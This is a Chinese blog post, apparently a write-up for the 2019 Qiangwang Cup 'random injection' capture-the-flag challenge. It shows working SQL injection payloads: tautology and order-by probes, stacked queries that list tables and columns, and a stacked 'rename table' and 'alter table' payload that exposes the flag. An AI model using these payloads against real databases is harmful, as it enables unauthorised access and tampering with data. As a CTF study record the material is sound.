强网杯[2019]随便注

借鉴作者:buuctf [强网杯 2019]随便注 1-CSDN博客

进入靶场根据题目要求可知是使用SQL注入解题

先进行一些简单的SQL注入测试

1' or 1=1; --+        //单引号闭合,判断语句为真,分号表示语句结束,--+注释后续代码

1' order by 2; --+        //order by 后续跟数字判断文件有多少列

发现是正常回显而且回显了三个数组那我们就可以在or 1=1语句的位置继续做文章

正常回显继续尝试

代表只有两列

使用语句 1' select 1,group_concat(table_name);--+ 查询表名

发现查询语句的关键词被过滤

换一种方法使用show tables来查看表

发现有两个表在这里我们一一查看

使用 1';show columns from `tables_name`; --+

这个是words表

这个是一串数字的那个表在这里面我们能发现flag的身影说明答案近在眼前

刚开始做题时显示出来的数组分别是一个数字对应一个字符串

猜想那个查询框查询的就是words这个表

我们需要让他从查询words表变为这个一串数字表

我从网上搜资料发现其作者用的是改名这一办法  

使用语句 1';rename table `words` to words2;  rename table `1919810931114514` to `words`;  alter table words change flag id varchar(100);

//最后一句是修改名为words表的结构将flag字段修改位可以容纳最大长度为100的字符类型

使用1';or 1=1;--+ 将当前目录下的内容显示出来

个人总结:使用了惯用的sql手工注入的方法,学到了;分号代表语句结束,可以堆叠注入,还有可以利用注入点不过滤拼接代码的特性进行对表名称的更改以及对表分析后判断出此提交查询的最初页面是在查询words表,这都是解题的关键剩下的就是一些解题常用的sql术语以及单引号双引号等符号的闭合操作。

show database/tables/columns..from..

select database()/version()/user()/@@version_compile_os

order by number

  • 4
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值